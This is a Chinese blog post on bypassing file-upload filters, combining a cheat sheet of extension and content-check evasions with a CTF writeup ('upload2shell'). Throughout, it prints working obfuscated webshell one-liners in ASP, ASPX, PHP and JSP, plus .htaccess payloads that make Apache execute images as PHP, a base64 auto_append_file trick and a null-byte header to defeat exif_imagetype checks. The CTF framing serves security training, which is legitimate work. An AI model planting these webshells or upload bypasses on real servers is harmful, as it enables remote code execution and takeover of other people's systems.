移动端 文件上传

iamscorponok · June 12, 2020 · 2 hits

绕过方式

前台 js 绕过

一般采用 js 在前端进行验证,这样的可以直接修改 js 文件进行绕过,或者先把文件改为图片格式,之后抓包修改后缀名。

文件后缀名检测

有白名单方式和黑名单,一般黑名单与白名单相比较更简单一点,绕过方法

  • 大小写绕过 (如 test.Php)
  • 特别文件名字绕过 (如 terst.php… test.asp_)
  • 双写后缀名绕过 (test.phpphp)
  • IIS 或者 nginx 文件名解析漏洞
  • 自动后缀绕过

文件内容检测绕过

修改一句话木马内容,添加图片文件头信息,绕过文件内容检测

一句话木马简单变形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ASP:<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>//-7

ASPX:<%@ Page Language = Jscript %>
<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
","+"""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"""+")";eval
(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>//-7

PHP:<?php $_GET[a]($_GET[b]);?>

JSP:<%
if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

二次变形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ASP:<%if request ("MH")<>""then session("MH")=request("MH"):end 
if:if session("MH")<>"" then execute session("MH")%>


ASPX:<%@ Page
Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36",
"MD5").ToUpper()],"unsafe");%>//随日期变化的连接密码


PHP:<?php ([email protected]$_GET[2])[email protected]$_($_POST[1])?>



JSP:<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

题目 writeup

2019 年全国大学生信息安全竞赛华东北分区赛 upload2shell

解题

打开网址只有一个上传页面,推测是文件上传,首先上传一个普通图片试试。

上传成功够后会显示文件的路径

1563521129197

直接访问文件的路径就可以查看图片,上传 php 文件会显示illegal suffix!

用 burp suite 抓包,发送到 repeater 进行测试,当文件内容中含有<?时,会显示&lt;? in contents!

所以大致就是需要绕过后缀名检测和文件内容检测,先突破后缀名识别,载考虑内容检测。

尝试 test.Php test.phpphp test.php.jpg 00 截断 test.php;.jpg 都不行,最后使用 test.php. 成功绕过后缀名检测。

下一步绕过文件内容检测,因为 php 的开头必须为<? 所以要不就是绕过检测 要不就是文件内容里没有<?这两个字符。

经过查资料,可以在 js 中添加 php 代码,具体为

1
2
3
<script language='php'>
@eval($_POST[a]);
</script>

这样文件内容里就没有<?这两个字符了,可以正常上传,上传后使用蚁剑连接,连接后就可以在服务器上找到 flag 了。

1563523530090

另一种方法

.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置.通过 htaccess 文件,可以实现:网页 301 重定向、自定义 404 页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

针对黑名单中未包含.htaccess 后缀,可以通过重写解析配置,来达到解析文件的效果

利用方法

方法一

.htaccess 文件内容

1
2
3
4
 FileMatch 参数即为文件名的正则匹配
<FilesMatch "hhh">
SetHandler application/x-httpd-php
</FilesMatch>

将一句话文件名设置为hhh

1
2

<?php eval($_GET['a']);?>
方法二

.htaccess 文件内容,这个会将 jpg 格式的文件以 php 文件格式进行解析

1
AddType application/x-httpd-php .jpg

将一句话文件改为 jpg 后缀

1
2
// filename.jpg
<?php eval($_GET['c']);?>

解题

将一句话使用 base64 加密,在设置 auto_append_file 时进行解密;<?php eval($_POST[1]);base64 加密后为PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==因为会检测文件类型 所以添加文件头 GIF89a,但是 base64 解码会将四个字符转换为三个字符。所以文件头写成 GIF89a12 上传文件

1
GIF89a12PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==

返回文件地址images/f528764d624db129b32c21fbca0cb8d6/1.jpg

构造.htaccess

1
2
AddType application/x-httpd-php .shell
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"

这个的意思是使当前目录解析.shell 的文件,并且加载文件后自动添加 auto_append_file 的内容,直接上传.htaccess 会显示exit_imagetype:not image所以添加文件头 GIF89a,这样.htaccess 无法生效,所以需要绕过这个检测。

下面是支持的图片的类型

Value Constant
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
7 IMAGETYPE_TIFF_II (intel byte order)
8 IMAGETYPE_TIFF_MM (motorola byte order)
9 IMAGETYPE_JPC
10 IMAGETYPE_JP2
11 IMAGETYPE_JPX
12 IMAGETYPE_JB2
13 IMAGETYPE_SWC
14 IMAGETYPE_IFF
15 IMAGETYPE_WBMP
16 IMAGETYPE_XBM
17 IMAGETYPE_ICO
18 IMAGETYPE_WEBP

Wireless Bitmap(WBMP)是一种移动计算机设备使用的标准图像格式。这种格式特定使用于 Wireless Application Protocol(WAP)网页中。WBMP 支持 1 位颜色,即 WBMP图像只包含黑色和白色像素,而且不能制作的过大,这样在 wap 手机里才能被正确显示。

在.htaccess 中默认 # 开头行为注释行,以 0x00 开头同样也是注释行,在十六进制编辑器中加入 0x00,第二行是那些内容。

1563552259925

上传这个文件

之后上传 1.shell,内容为

1
GIF89a

返回路径images/f528764d624db129b32c21fbca0cb8d6/1.shell

访问这个地址,在 post 中写入密码和命令即可执行。

1563552749250

题目关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(!$tmp_name){
die("filesize too big!");
}
if(!$name){
die("filename cannot be empty!");
}
$extension = substr($name,strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)){
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if(!$image_type){
die("exif_imagetype:not image!");
}
No Reply at the moment.
You need to Sign in before reply, if you don't have an account, please Sign up first.